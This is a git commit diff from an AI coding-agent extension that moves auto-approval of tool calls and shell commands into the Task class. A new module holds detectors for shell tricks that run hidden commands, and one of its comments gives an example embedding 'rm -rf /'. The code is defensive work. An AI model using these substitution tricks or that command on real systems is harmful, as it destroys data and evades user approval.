Explorar el Código

Move auto-approval from `ChatView` to `Task` (#9157)

Chris Estreich hace 1 mes
padre
commit
6e6341346e

+ 14 - 0
packages/types/src/__tests__/message.test.ts

@@ -0,0 +1,14 @@
+// pnpm --filter @roo-code/types test src/__tests__/message.test.ts
+
+import { clineAsks, isIdleAsk, isInteractiveAsk, isResumableAsk, isNonBlockingAsk } from "../message.js"
+
+describe("ask messages", () => {
+	test("all ask messages are classified", () => {
+		for (const ask of clineAsks) {
+			expect(
+				isIdleAsk(ask) || isInteractiveAsk(ask) || isResumableAsk(ask) || isNonBlockingAsk(ask),
+				`${ask} is not classified`,
+			).toBe(true)
+		}
+	})
+})

+ 15 - 19
packages/types/src/message.ts

@@ -43,25 +43,6 @@ export const clineAsks = [
 export const clineAskSchema = z.enum(clineAsks)
 
 export type ClineAsk = z.infer<typeof clineAskSchema>
-
-// Needs classification:
-// - `followup`
-
-/**
- * NonBlockingAsk
- *
- * Asks that should not block task execution. These are informational or optional
- * asks where the task can proceed even without an immediate user response.
- */
-
-export const nonBlockingAsks = ["command_output"] as const satisfies readonly ClineAsk[]
-
-export type NonBlockingAsk = (typeof nonBlockingAsks)[number]
-
-export function isNonBlockingAsk(ask: ClineAsk): ask is NonBlockingAsk {
-	return (nonBlockingAsks as readonly ClineAsk[]).includes(ask)
-}
-
 /**
  * IdleAsk
  *
@@ -116,6 +97,21 @@ export function isInteractiveAsk(ask: ClineAsk): ask is InteractiveAsk {
 	return (interactiveAsks as readonly ClineAsk[]).includes(ask)
 }
 
+/**
+ * NonBlockingAsk
+ *
+ * Asks that are not associated with an actual approval, and are only used
+ * to update chat messages.
+ */
+
+export const nonBlockingAsks = ["command_output"] as const satisfies readonly ClineAsk[]
+
+export type NonBlockingAsk = (typeof nonBlockingAsks)[number]
+
+export function isNonBlockingAsk(ask: ClineAsk): ask is NonBlockingAsk {
+	return (nonBlockingAsks as readonly ClineAsk[]).includes(ask)
+}
+
 /**
  * ClineSay
  */

+ 10 - 19
pnpm-lock.yaml

@@ -782,6 +782,9 @@ importers:
       serialize-error:
         specifier: ^12.0.0
         version: 12.0.0
+      shell-quote:
+        specifier: ^1.8.2
+        version: 1.8.3
       simple-git:
         specifier: ^3.27.0
         version: 3.27.0
@@ -879,6 +882,9 @@ importers:
       '@types/ps-tree':
         specifier: ^1.1.6
         version: 1.1.6
+      '@types/shell-quote':
+        specifier: ^1.7.5
+        version: 1.7.5
       '@types/stream-json':
         specifier: ^1.7.8
         version: 1.7.8
@@ -4104,9 +4110,6 @@ packages:
   '@types/[email protected]':
     resolution: {integrity: sha512-f3T4y6VU4fVQDKVqJV4Uppy8c1p/sVvS3peyqxyWnzkqXFJLRU7Y1Bl7rMS1Qe9z0v4M6McY0Fp9yBsgHJUsWQ==}
 
-  '@types/[email protected]':
-    resolution: {integrity: sha512-yIdlVVVHXpmqRhtyovZAcSy0MiPcYWGkoO4CGe/+jpP0hmNuihm4XhHbADpK++MsiLHP5MVlv+bcgdF99kSiFQ==}
-
   '@types/[email protected]':
     resolution: {integrity: sha512-DRh5K+ka5eJic8CjH7td8QpYEV6Zo10gfRkjHCO3weqZHWDtAaSTFtl4+VMqOJ4N5jcuhZ9/l+yy8rVgw7BQeQ==}
 
@@ -9626,9 +9629,6 @@ packages:
   [email protected]:
     resolution: {integrity: sha512-ve2KP6f/JnbPBFyobGHuerC9g1FYGn/F8n1LWTwNxCEzd6IfqTwUQcNXgEtmmQ6DlRrC1hrSrBnCZPokRrDHjw==}
 
-  [email protected]:
-    resolution: {integrity: sha512-iwDZqg0QAGrg9Rav5H4n0M64c3mkR59cJ6wQp+7C4nI0gsmExaedaYLNO44eT4AtBBwjbTiGPMlt2Md0T9H9JQ==}
-
   [email protected]:
     resolution: {integrity: sha512-t5Fy/nfn+14LuOc2KNYg75vZqClpAiqscVvMygNnlsHBFpSXdJaYtXMcdNLpl/Qvc3P2cB3s6lOV51nqsFq4ag==}
 
@@ -13795,11 +13795,6 @@ snapshots:
     dependencies:
       undici-types: 6.19.8
 
-  '@types/[email protected]':
-    dependencies:
-      undici-types: 6.21.0
-    optional: true
-
   '@types/[email protected]':
     dependencies:
       undici-types: 7.10.0
@@ -13867,7 +13862,7 @@ snapshots:
 
   '@types/[email protected]':
     dependencies:
-      '@types/node': 20.19.23
+      '@types/node': 24.2.1
     optional: true
 
   '@types/[email protected]': {}
@@ -14046,7 +14041,7 @@ snapshots:
       sirv: 3.0.1
       tinyglobby: 0.2.14
       tinyrainbow: 2.0.0
-      vitest: 3.2.4(@types/[email protected])(@types/node@24.2.1)(@vitest/[email protected])([email protected])([email protected])([email protected])([email protected])([email protected])
+      vitest: 3.2.4(@types/[email protected])(@types/node@20.17.50)(@vitest/[email protected])([email protected])([email protected])([email protected])([email protected])([email protected])
 
   '@vitest/[email protected]':
     dependencies:
@@ -18176,7 +18171,7 @@ snapshots:
       minimatch: 10.0.1
       pidtree: 0.6.0
       read-package-json-fast: 4.0.0
-      shell-quote: 1.8.2
+      shell-quote: 1.8.3
       which: 5.0.0
 
   [email protected]:
@@ -19462,8 +19457,7 @@ snapshots:
 
   [email protected]: {}
 
-  [email protected]:
-    optional: true
+  [email protected]: {}
 
   [email protected]:
     dependencies:
@@ -20229,9 +20223,6 @@ snapshots:
 
   [email protected]: {}
 
-  [email protected]:
-    optional: true
-
   [email protected]: {}
 
   [email protected]: {}

+ 1 - 0
src/core/task/AutoApprovalHandler.ts → src/core/auto-approval/AutoApprovalHandler.ts

@@ -1,4 +1,5 @@
 import { GlobalState, ClineMessage, ClineAsk } from "@roo-code/types"
+
 import { getApiMetrics } from "../../shared/getApiMetrics"
 import { ClineAskResponse } from "../../shared/WebviewMessage"
 

+ 0 - 1
src/core/task/__tests__/AutoApprovalHandler.spec.ts → src/core/auto-approval/__tests__/AutoApprovalHandler.spec.ts

@@ -2,7 +2,6 @@ import { GlobalState, ClineMessage } from "@roo-code/types"
 
 import { AutoApprovalHandler } from "../AutoApprovalHandler"
 
-// Mock getApiMetrics
 vi.mock("../../../shared/getApiMetrics", () => ({
 	getApiMetrics: vi.fn(),
 }))

+ 368 - 0
src/core/auto-approval/commands.ts

@@ -0,0 +1,368 @@
+import { parseCommand } from "../../shared/parse-command"
+
+/**
+ * Detect dangerous parameter substitutions that could lead to command execution.
+ * These patterns are never auto-approved and always require explicit user approval.
+ *
+ * Detected patterns:
+ * - ${var@P} - Prompt string expansion (interprets escape sequences and executes embedded commands)
+ * - ${var@Q} - Quote removal
+ * - ${var@E} - Escape sequence expansion
+ * - ${var@A} - Assignment statement
+ * - ${var@a} - Attribute flags
+ * - ${var=value} with escape sequences - Can embed commands via \140 (backtick), \x60, or \u0060
+ * - ${!var} - Indirect variable references
+ * - <<<$(...) or <<<`...` - Here-strings with command substitution
+ * - =(...) - Zsh process substitution that executes commands
+ * - *(e:...:) or similar - Zsh glob qualifiers with code execution
+ *
+ * @param source - The command string to analyze
+ * @returns true if dangerous substitution patterns are detected, false otherwise
+ */
+export function containsDangerousSubstitution(source: string): boolean {
+	// Check for dangerous parameter expansion operators that can execute commands
+	// ${var@P} - Prompt string expansion (interprets escape sequences and executes embedded commands)
+	// ${var@Q} - Quote removal
+	// ${var@E} - Escape sequence expansion
+	// ${var@A} - Assignment statement
+	// ${var@a} - Attribute flags
+	const dangerousParameterExpansion = /\$\{[^}]*@[PQEAa][^}]*\}/.test(source)
+
+	// Check for parameter expansions with assignments that could contain escape sequences
+	// ${var=value} or ${var:=value} can embed commands via escape sequences like \140 (backtick)
+	// Also check for ${var+value}, ${var:-value}, ${var:+value}, ${var:?value}
+	const parameterAssignmentWithEscapes =
+		/\$\{[^}]*[=+\-?][^}]*\\[0-7]{3}[^}]*\}/.test(source) || // octal escapes
+		/\$\{[^}]*[=+\-?][^}]*\\x[0-9a-fA-F]{2}[^}]*\}/.test(source) || // hex escapes
+		/\$\{[^}]*[=+\-?][^}]*\\u[0-9a-fA-F]{4}[^}]*\}/.test(source) // unicode escapes
+
+	// Check for indirect variable references that could execute commands
+	// ${!var} performs indirect expansion which can be dangerous with crafted variable names
+	const indirectExpansion = /\$\{![^}]+\}/.test(source)
+
+	// Check for here-strings with command substitution
+	// <<<$(...) or <<<`...` can execute commands
+	const hereStringWithSubstitution = /<<<\s*(\$\(|`)/.test(source)
+
+	// Check for zsh process substitution =(...) which executes commands
+	// =(...) creates a temporary file containing the output of the command, but executes it
+	const zshProcessSubstitution = /=\([^)]+\)/.test(source)
+
+	// Check for zsh glob qualifiers with code execution (e:...:)
+	// Patterns like *(e:whoami:) or ?(e:rm -rf /:) execute commands during glob expansion
+	// This regex matches patterns like *(e:...:), ?(e:...:), +(e:...:), @(e:...:), !(e:...:)
+	const zshGlobQualifier = /[*?+@!]\(e:[^:]+:\)/.test(source)
+
+	// Return true if any dangerous pattern is detected
+	return (
+		dangerousParameterExpansion ||
+		parameterAssignmentWithEscapes ||
+		indirectExpansion ||
+		hereStringWithSubstitution ||
+		zshProcessSubstitution ||
+		zshGlobQualifier
+	)
+}
+
+/**
+ * Find the longest matching prefix from a list of prefixes for a given command.
+ *
+ * This is the core function that implements the "longest prefix match" strategy.
+ * It searches through all provided prefixes and returns the longest one that
+ * matches the beginning of the command (case-insensitive).
+ *
+ * **Special Cases:**
+ * - Wildcard "*" matches any command but is treated as length 1 for comparison
+ * - Empty command or empty prefixes list returns null
+ * - Matching is case-insensitive and uses startsWith logic
+ *
+ * **Examples:**
+ * ```typescript
+ * findLongestPrefixMatch("git push origin", ["git", "git push"])
+ * // Returns "git push" (longer match)
+ *
+ * findLongestPrefixMatch("npm install", ["*", "npm"])
+ * // Returns "npm" (specific match preferred over wildcard)
+ *
+ * findLongestPrefixMatch("unknown command", ["git", "npm"])
+ * // Returns null (no match found)
+ * ```
+ *
+ * @param command - The command to match against
+ * @param prefixes - List of prefix patterns to search through
+ * @returns The longest matching prefix, or null if no match found
+ */
+export function findLongestPrefixMatch(command: string, prefixes: string[]): string | null {
+	if (!command || !prefixes?.length) {
+		return null
+	}
+
+	const trimmedCommand = command.trim().toLowerCase()
+	let longestMatch: string | null = null
+
+	for (const prefix of prefixes) {
+		const lowerPrefix = prefix.toLowerCase()
+		// Handle wildcard "*" - it matches any command
+		if (lowerPrefix === "*" || trimmedCommand.startsWith(lowerPrefix)) {
+			if (!longestMatch || lowerPrefix.length > longestMatch.length) {
+				longestMatch = lowerPrefix
+			}
+		}
+	}
+
+	return longestMatch
+}
+
+/**
+ * Check if a single command should be auto-approved.
+ * Returns true only for commands that explicitly match the allowlist
+ * and either don't match the denylist or have a longer allowlist match.
+ *
+ * Special handling for wildcards: "*" in allowlist allows any command,
+ * but denylist can still block specific commands.
+ */
+export function isAutoApprovedSingleCommand(
+	command: string,
+	allowedCommands: string[],
+	deniedCommands?: string[],
+): boolean {
+	if (!command) {
+		return true
+	}
+
+	// If no allowlist configured, nothing can be auto-approved
+	if (!allowedCommands?.length) {
+		return false
+	}
+
+	// Check if wildcard is present in allowlist
+	const hasWildcard = allowedCommands.some((cmd) => cmd.toLowerCase() === "*")
+
+	// If no denylist provided (undefined), use simple allowlist logic
+	if (deniedCommands === undefined) {
+		const trimmedCommand = command.trim().toLowerCase()
+
+		return allowedCommands.some((prefix) => {
+			const lowerPrefix = prefix.toLowerCase()
+			// Handle wildcard "*" - it matches any command
+			return lowerPrefix === "*" || trimmedCommand.startsWith(lowerPrefix)
+		})
+	}
+
+	// Find longest matching prefix in both lists
+	const longestDeniedMatch = findLongestPrefixMatch(command, deniedCommands)
+	const longestAllowedMatch = findLongestPrefixMatch(command, allowedCommands)
+
+	// Special case: if wildcard is present and no denylist match, auto-approve
+	if (hasWildcard && !longestDeniedMatch) {
+		return true
+	}
+
+	// Must have an allowlist match to be auto-approved
+	if (!longestAllowedMatch) {
+		return false
+	}
+
+	// If no denylist match, auto-approve
+	if (!longestDeniedMatch) {
+		return true
+	}
+
+	// Both have matches - allowlist must be longer to auto-approve
+	return longestAllowedMatch.length > longestDeniedMatch.length
+}
+
+/**
+ * Check if a single command should be auto-denied.
+ * Returns true only for commands that explicitly match the denylist
+ * and either don't match the allowlist or have a longer denylist match.
+ */
+export function isAutoDeniedSingleCommand(
+	command: string,
+	allowedCommands: string[],
+	deniedCommands?: string[],
+): boolean {
+	if (!command) return false
+
+	// If no denylist configured, nothing can be auto-denied
+	if (!deniedCommands?.length) return false
+
+	// Find longest matching prefix in both lists
+	const longestDeniedMatch = findLongestPrefixMatch(command, deniedCommands)
+	const longestAllowedMatch = findLongestPrefixMatch(command, allowedCommands || [])
+
+	// Must have a denylist match to be auto-denied
+	if (!longestDeniedMatch) return false
+
+	// If no allowlist match, auto-deny
+	if (!longestAllowedMatch) return true
+
+	// Both have matches - denylist must be longer or equal to auto-deny
+	return longestDeniedMatch.length >= longestAllowedMatch.length
+}
+
+/**
+ * Command approval decision types
+ */
+export type CommandDecision = "auto_approve" | "auto_deny" | "ask_user"
+
+/**
+ * Unified command validation that implements the longest prefix match rule.
+ * Returns a definitive decision for a command based on allowlist and denylist.
+ *
+ * This is the main entry point for command validation in the Command Denylist feature.
+ * It handles complex command chains and applies the longest prefix match strategy
+ * to resolve conflicts between allowlist and denylist patterns.
+ *
+ * **Decision Logic:**
+ * 1. **Dangerous Substitution Protection**: Commands with dangerous parameter expansions are never auto-approved
+ * 2. **Command Parsing**: Split command chains (&&, ||, ;, |, &) into individual commands
+ * 3. **Individual Validation**: For each sub-command, apply longest prefix match rule
+ * 4. **Aggregation**: Combine decisions using "any denial blocks all" principle
+ *
+ * **Return Values:**
+ * - `"auto_approve"`: All sub-commands are explicitly allowed and no dangerous patterns detected
+ * - `"auto_deny"`: At least one sub-command is explicitly denied
+ * - `"ask_user"`: Mixed or no matches found, requires user decision, or contains dangerous patterns
+ *
+ * **Examples:**
+ * ```typescript
+ * // Simple approval
+ * getCommandDecision("git status", ["git"], [])
+ * // Returns "auto_approve"
+ *
+ * // Dangerous pattern - never auto-approved
+ * getCommandDecision('echo "${var@P}"', ["echo"], [])
+ * // Returns "ask_user"
+ *
+ * // Longest prefix match - denial wins
+ * getCommandDecision("git push origin", ["git"], ["git push"])
+ * // Returns "auto_deny"
+ *
+ * // Command chain - any denial blocks all
+ * getCommandDecision("git status && rm file", ["git"], ["rm"])
+ * // Returns "auto_deny"
+ *
+ * // No matches - ask user
+ * getCommandDecision("unknown command", ["git"], ["rm"])
+ * // Returns "ask_user"
+ * ```
+ *
+ * @param command - The full command string to validate
+ * @param allowedCommands - List of allowed command prefixes
+ * @param deniedCommands - Optional list of denied command prefixes
+ * @returns Decision indicating whether to approve, deny, or ask user
+ */
+export function getCommandDecision(
+	command: string,
+	allowedCommands: string[],
+	deniedCommands?: string[],
+): CommandDecision {
+	if (!command?.trim()) {
+		return "auto_approve"
+	}
+
+	// Parse into sub-commands (split by &&, ||, ;, |)
+	const subCommands = parseCommand(command)
+
+	// Check each sub-command and collect decisions
+	const decisions: CommandDecision[] = subCommands.map((cmd) => {
+		// Remove simple PowerShell-like redirections (e.g. 2>&1) before checking
+		const cmdWithoutRedirection = cmd.replace(/\d*>&\d*/, "").trim()
+
+		return getSingleCommandDecision(cmdWithoutRedirection, allowedCommands, deniedCommands)
+	})
+
+	// If any sub-command is denied, deny the whole command
+	if (decisions.includes("auto_deny")) {
+		return "auto_deny"
+	}
+
+	// Require explicit user approval for dangerous patterns
+	if (containsDangerousSubstitution(command)) {
+		return "ask_user"
+	}
+
+	// If all sub-commands are approved, approve the whole command
+	if (decisions.every((decision) => decision === "auto_approve")) {
+		return "auto_approve"
+	}
+
+	// Otherwise, ask user
+	return "ask_user"
+}
+
+/**
+ * Get the decision for a single command using longest prefix match rule.
+ *
+ * This is the core logic that implements the conflict resolution between
+ * allowlist and denylist using the "longest prefix match" strategy.
+ *
+ * **Longest Prefix Match Algorithm:**
+ * 1. Find the longest matching prefix in the allowlist
+ * 2. Find the longest matching prefix in the denylist
+ * 3. Compare lengths to determine which rule takes precedence
+ * 4. Longer (more specific) match wins the conflict
+ *
+ * **Decision Matrix:**
+ * | Allowlist Match | Denylist Match | Result | Reason |
+ * |----------------|----------------|---------|---------|
+ * | Yes | No | auto_approve | Only allowlist matches |
+ * | No | Yes | auto_deny | Only denylist matches |
+ * | Yes | Yes (shorter) | auto_approve | Allowlist is more specific |
+ * | Yes | Yes (longer/equal) | auto_deny | Denylist is more specific |
+ * | No | No | ask_user | No rules apply |
+ *
+ * **Examples:**
+ * ```typescript
+ * // Only allowlist matches
+ * getSingleCommandDecision("git status", ["git"], ["npm"])
+ * // Returns "auto_approve"
+ *
+ * // Denylist is more specific
+ * getSingleCommandDecision("git push origin", ["git"], ["git push"])
+ * // Returns "auto_deny" (denylist "git push" > allowlist "git")
+ *
+ * // Allowlist is more specific
+ * getSingleCommandDecision("git push --dry-run", ["git push --dry-run"], ["git push"])
+ * // Returns "auto_approve" (allowlist is longer)
+ *
+ * // No matches
+ * getSingleCommandDecision("unknown", ["git"], ["npm"])
+ * // Returns "ask_user"
+ * ```
+ *
+ * @param command - Single command to validate (no chaining)
+ * @param allowedCommands - List of allowed command prefixes
+ * @param deniedCommands - Optional list of denied command prefixes
+ * @returns Decision for this specific command
+ */
+export function getSingleCommandDecision(
+	command: string,
+	allowedCommands: string[],
+	deniedCommands?: string[],
+): CommandDecision {
+	if (!command) return "auto_approve"
+
+	// Find longest matching prefixes in both lists
+	const longestAllowedMatch = findLongestPrefixMatch(command, allowedCommands || [])
+	const longestDeniedMatch = findLongestPrefixMatch(command, deniedCommands || [])
+
+	// If only allowlist has a match, auto-approve
+	if (longestAllowedMatch && !longestDeniedMatch) {
+		return "auto_approve"
+	}
+
+	// If only denylist has a match, auto-deny
+	if (!longestAllowedMatch && longestDeniedMatch) {
+		return "auto_deny"
+	}
+
+	// Both lists have matches - apply longest prefix match rule
+	if (longestAllowedMatch && longestDeniedMatch) {
+		return longestAllowedMatch.length > longestDeniedMatch.length ? "auto_approve" : "auto_deny"
+	}
+
+	// If neither list has a match, ask user
+	return "ask_user"
+}

+ 189 - 0
src/core/auto-approval/index.ts

@@ -0,0 +1,189 @@
+import { type ClineAsk, type McpServerUse, type FollowUpData, isNonBlockingAsk } from "@roo-code/types"
+
+import type { ClineSayTool, ExtensionState } from "../../shared/ExtensionMessage"
+import { ClineAskResponse } from "../../shared/WebviewMessage"
+
+import { isWriteToolAction, isReadOnlyToolAction } from "./tools"
+import { isMcpToolAlwaysAllowed } from "./mcp"
+import { getCommandDecision } from "./commands"
+
+// We have 10 different actions that can be auto-approved.
+export type AutoApprovalState =
+	| "alwaysAllowReadOnly"
+	| "alwaysAllowWrite"
+	| "alwaysAllowBrowser"
+	| "alwaysApproveResubmit"
+	| "alwaysAllowMcp"
+	| "alwaysAllowModeSwitch"
+	| "alwaysAllowSubtasks"
+	| "alwaysAllowExecute"
+	| "alwaysAllowFollowupQuestions"
+	| "alwaysAllowUpdateTodoList"
+
+// Some of these actions have additional settings associated with them.
+export type AutoApprovalStateOptions =
+	| "autoApprovalEnabled"
+	| "alwaysAllowReadOnlyOutsideWorkspace" // For `alwaysAllowReadOnly`.
+	| "alwaysAllowWriteOutsideWorkspace" // For `alwaysAllowWrite`.
+	| "alwaysAllowWriteProtected"
+	| "followupAutoApproveTimeoutMs" // For `alwaysAllowFollowupQuestions`.
+	| "mcpServers" // For `alwaysAllowMcp`.
+	| "allowedCommands" // For `alwaysAllowExecute`.
+	| "deniedCommands"
+
+export type CheckAutoApprovalResult =
+	| { decision: "approve" }
+	| { decision: "deny" }
+	| { decision: "ask" }
+	| {
+			decision: "timeout"
+			timeout: number
+			fn: () => { askResponse: ClineAskResponse; text?: string; images?: string[] }
+	  }
+
+export async function checkAutoApproval({
+	state,
+	ask,
+	text,
+	isProtected,
+}: {
+	state?: Pick<ExtensionState, AutoApprovalState | AutoApprovalStateOptions>
+	ask: ClineAsk
+	text?: string
+	isProtected?: boolean
+}): Promise<CheckAutoApprovalResult> {
+	if (isNonBlockingAsk(ask)) {
+		return { decision: "approve" }
+	}
+
+	if (!state || !state.autoApprovalEnabled) {
+		return { decision: "ask" }
+	}
+
+	if (ask === "followup") {
+		if (state.alwaysAllowFollowupQuestions === true) {
+			try {
+				const suggestion = (JSON.parse(text || "{}") as FollowUpData).suggest?.[0]
+
+				if (
+					suggestion &&
+					typeof state.followupAutoApproveTimeoutMs === "number" &&
+					state.followupAutoApproveTimeoutMs > 0
+				) {
+					return {
+						decision: "timeout",
+						timeout: state.followupAutoApproveTimeoutMs,
+						fn: () => ({ askResponse: "messageResponse", text: suggestion.answer }),
+					}
+				} else {
+					return { decision: "ask" }
+				}
+			} catch (error) {
+				return { decision: "ask" }
+			}
+		} else {
+			return { decision: "ask" }
+		}
+	}
+
+	if (ask === "browser_action_launch") {
+		return state.alwaysAllowBrowser === true ? { decision: "approve" } : { decision: "ask" }
+	}
+
+	if (ask === "use_mcp_server") {
+		if (!text) {
+			return { decision: "ask" }
+		}
+
+		try {
+			const mcpServerUse = JSON.parse(text) as McpServerUse
+
+			if (mcpServerUse.type === "use_mcp_tool") {
+				return state.alwaysAllowMcp === true && isMcpToolAlwaysAllowed(mcpServerUse, state.mcpServers)
+					? { decision: "approve" }
+					: { decision: "ask" }
+			} else if (mcpServerUse.type === "access_mcp_resource") {
+				return state.alwaysAllowMcp === true ? { decision: "approve" } : { decision: "ask" }
+			}
+		} catch (error) {
+			return { decision: "ask" }
+		}
+
+		return { decision: "ask" }
+	}
+
+	if (ask === "command") {
+		if (!text) {
+			return { decision: "ask" }
+		}
+
+		if (state.alwaysAllowExecute === true) {
+			const decision = getCommandDecision(text, state.allowedCommands || [], state.deniedCommands || [])
+
+			if (decision === "auto_approve") {
+				return { decision: "approve" }
+			} else if (decision === "auto_deny") {
+				return { decision: "deny" }
+			} else {
+				return { decision: "ask" }
+			}
+		}
+	}
+
+	if (ask === "tool") {
+		let tool: ClineSayTool | undefined
+
+		try {
+			tool = JSON.parse(text || "{}")
+		} catch (error) {
+			console.error("Failed to parse tool:", error)
+		}
+
+		if (!tool) {
+			return { decision: "ask" }
+		}
+
+		if (tool.tool === "updateTodoList") {
+			return state.alwaysAllowUpdateTodoList === true ? { decision: "approve" } : { decision: "ask" }
+		}
+
+		if (tool?.tool === "fetchInstructions") {
+			if (tool.content === "create_mode") {
+				return state.alwaysAllowModeSwitch === true ? { decision: "approve" } : { decision: "ask" }
+			}
+
+			if (tool.content === "create_mcp_server") {
+				return state.alwaysAllowMcp === true ? { decision: "approve" } : { decision: "ask" }
+			}
+		}
+
+		if (tool?.tool === "switchMode") {
+			return state.alwaysAllowModeSwitch === true ? { decision: "approve" } : { decision: "ask" }
+		}
+
+		if (["newTask", "finishTask"].includes(tool?.tool)) {
+			return state.alwaysAllowSubtasks === true ? { decision: "approve" } : { decision: "ask" }
+		}
+
+		const isOutsideWorkspace = !!tool.isOutsideWorkspace
+
+		if (isReadOnlyToolAction(tool)) {
+			return state.alwaysAllowReadOnly === true &&
+				(!isOutsideWorkspace || state.alwaysAllowReadOnlyOutsideWorkspace === true)
+				? { decision: "approve" }
+				: { decision: "ask" }
+		}
+
+		if (isWriteToolAction(tool)) {
+			return state.alwaysAllowWrite === true &&
+				(!isOutsideWorkspace || state.alwaysAllowWriteOutsideWorkspace === true) &&
+				(!isProtected || state.alwaysAllowWriteProtected === true)
+				? { decision: "approve" }
+				: { decision: "ask" }
+		}
+	}
+
+	return { decision: "ask" }
+}
+
+export { AutoApprovalHandler } from "./AutoApprovalHandler"

+ 13 - 0
src/core/auto-approval/mcp.ts

@@ -0,0 +1,13 @@
+import type { McpServerUse } from "@roo-code/types"
+
+import type { McpServer, McpTool } from "../../shared/mcp"
+
+export function isMcpToolAlwaysAllowed(mcpServerUse: McpServerUse, mcpServers: McpServer[] | undefined): boolean {
+	if (mcpServerUse.type === "use_mcp_tool" && mcpServerUse.toolName) {
+		const server = mcpServers?.find((s: McpServer) => s.name === mcpServerUse.serverName)
+		const tool = server?.tools?.find((t: McpTool) => t.name === mcpServerUse.toolName)
+		return tool?.alwaysAllow || false
+	}
+
+	return false
+}

+ 18 - 0
src/core/auto-approval/tools.ts

@@ -0,0 +1,18 @@
+import type { ClineSayTool } from "../../shared/ExtensionMessage"
+
+export function isWriteToolAction(tool: ClineSayTool): boolean {
+	return ["editedExistingFile", "appliedDiff", "newFileCreated", "insertContent", "generateImage"].includes(tool.tool)
+}
+
+export function isReadOnlyToolAction(tool: ClineSayTool): boolean {
+	return [
+		"readFile",
+		"listFiles",
+		"listFilesTopLevel",
+		"listFilesRecursive",
+		"listCodeDefinitionNames",
+		"searchFiles",
+		"codebaseSearch",
+		"runSlashCommand",
+	].includes(tool.tool)
+}

+ 47 - 27
src/core/task/Task.ts

@@ -28,14 +28,13 @@ import {
 	TelemetryEventName,
 	TaskStatus,
 	TodoItem,
-	DEFAULT_CONSECUTIVE_MISTAKE_LIMIT,
 	getApiProtocol,
 	getModelId,
 	isIdleAsk,
 	isInteractiveAsk,
 	isResumableAsk,
-	isNonBlockingAsk,
 	QueuedMessage,
+	DEFAULT_CONSECUTIVE_MISTAKE_LIMIT,
 	DEFAULT_CHECKPOINT_TIMEOUT_SECONDS,
 	MAX_CHECKPOINT_TIMEOUT_SECONDS,
 	MIN_CHECKPOINT_TIMEOUT_SECONDS,
@@ -70,7 +69,7 @@ import { RepoPerTaskCheckpointService } from "../../services/checkpoints"
 
 // integrations
 import { DiffViewProvider } from "../../integrations/editor/DiffViewProvider"
-import { findToolName, formatContentBlockToMarkdown } from "../../integrations/misc/export-markdown"
+import { findToolName } from "../../integrations/misc/export-markdown"
 import { RooTerminalProcess } from "../../integrations/terminal/types"
 import { TerminalRegistry } from "../../integrations/terminal/TerminalRegistry"
 
@@ -117,8 +116,7 @@ import { processUserContentMentions } from "../mentions/processUserContentMentio
 import { getMessagesSinceLastSummary, summarizeConversation } from "../condense"
 import { Gpt5Metadata, ClineMessageWithMetadata } from "./types"
 import { MessageQueueService } from "../message-queue/MessageQueueService"
-
-import { AutoApprovalHandler } from "./AutoApprovalHandler"
+import { AutoApprovalHandler, checkAutoApproval } from "../auto-approval"
 
 const MAX_EXPONENTIAL_BACKOFF_SECONDS = 600 // 10 minutes
 const DEFAULT_USAGE_COLLECTION_TIMEOUT_MS = 5000 // 5 seconds
@@ -763,13 +761,16 @@ export class Task extends EventEmitter<TaskEvents> implements TaskLike {
 					// saves, and only post parts of partial message instead of
 					// whole array in new listener.
 					this.updateClineMessage(lastMessage)
+					// console.log("Task#ask: current ask promise was ignored (#1)")
 					throw new Error("Current ask promise was ignored (#1)")
 				} else {
 					// This is a new partial message, so add it with partial
 					// state.
 					askTs = Date.now()
 					this.lastMessageTs = askTs
+					console.log(`Task#ask: new partial ask -> ${type} @ ${askTs}`)
 					await this.addToClineMessages({ ts: askTs, type: "ask", ask: type, text, partial, isProtected })
+					// console.log("Task#ask: current ask promise was ignored (#2)")
 					throw new Error("Current ask promise was ignored (#2)")
 				}
 			} else {
@@ -792,6 +793,7 @@ export class Task extends EventEmitter<TaskEvents> implements TaskLike {
 					// So in this case we must make sure that the message ts is
 					// never altered after first setting it.
 					askTs = lastMessage.ts
+					console.log(`Task#ask: updating previous partial ask -> ${type} @ ${askTs}`)
 					this.lastMessageTs = askTs
 					lastMessage.text = text
 					lastMessage.partial = false
@@ -805,6 +807,7 @@ export class Task extends EventEmitter<TaskEvents> implements TaskLike {
 					this.askResponseText = undefined
 					this.askResponseImages = undefined
 					askTs = Date.now()
+					console.log(`Task#ask: new complete ask -> ${type} @ ${askTs}`)
 					this.lastMessageTs = askTs
 					await this.addToClineMessages({ ts: askTs, type: "ask", ask: type, text, isProtected })
 				}
@@ -815,33 +818,60 @@ export class Task extends EventEmitter<TaskEvents> implements TaskLike {
 			this.askResponseText = undefined
 			this.askResponseImages = undefined
 			askTs = Date.now()
+			console.log(`Task#ask: new complete ask -> ${type} @ ${askTs}`)
 			this.lastMessageTs = askTs
 			await this.addToClineMessages({ ts: askTs, type: "ask", ask: type, text, isProtected })
 		}
 
+		let timeouts: NodeJS.Timeout[] = []
+
+		// Automatically approve if the ask according to the user's settings.
+		const provider = this.providerRef.deref()
+		const state = provider ? await provider.getState() : undefined
+		const approval = await checkAutoApproval({ state, ask: type, text, isProtected })
+
+		if (approval.decision === "approve") {
+			this.approveAsk()
+		} else if (approval.decision === "deny") {
+			this.denyAsk()
+		} else if (approval.decision === "timeout") {
+			timeouts.push(
+				setTimeout(() => {
+					const { askResponse, text, images } = approval.fn()
+					this.handleWebviewAskResponse(askResponse, text, images)
+				}, approval.timeout),
+			)
+		}
+
 		// The state is mutable if the message is complete and the task will
 		// block (via the `pWaitFor`).
 		const isBlocking = !(this.askResponse !== undefined || this.lastMessageTs !== askTs)
 		const isMessageQueued = !this.messageQueueService.isEmpty()
-		// Non-blocking asks should not mutate task status since they don't actually block execution
-		const isStatusMutable = !partial && isBlocking && !isMessageQueued && !isNonBlockingAsk(type)
-		let statusMutationTimeouts: NodeJS.Timeout[] = []
-		const statusMutationTimeout = 5_000
+
+		const isStatusMutable = !partial && isBlocking && !isMessageQueued && approval.decision === "ask"
+
+		if (isBlocking) {
+			console.log(`Task#ask will block -> type: ${type}`)
+		}
 
 		if (isStatusMutable) {
+			console.log(`Task#ask: status is mutable -> type: ${type}`)
+			const statusMutationTimeout = 2_000
+
 			if (isInteractiveAsk(type)) {
-				statusMutationTimeouts.push(
+				timeouts.push(
 					setTimeout(() => {
 						const message = this.findMessageByTimestamp(askTs)
 
 						if (message) {
 							this.interactiveAsk = message
 							this.emit(RooCodeEventName.TaskInteractive, this.taskId)
+							provider?.postMessageToWebview({ type: "interactionRequired" })
 						}
 					}, statusMutationTimeout),
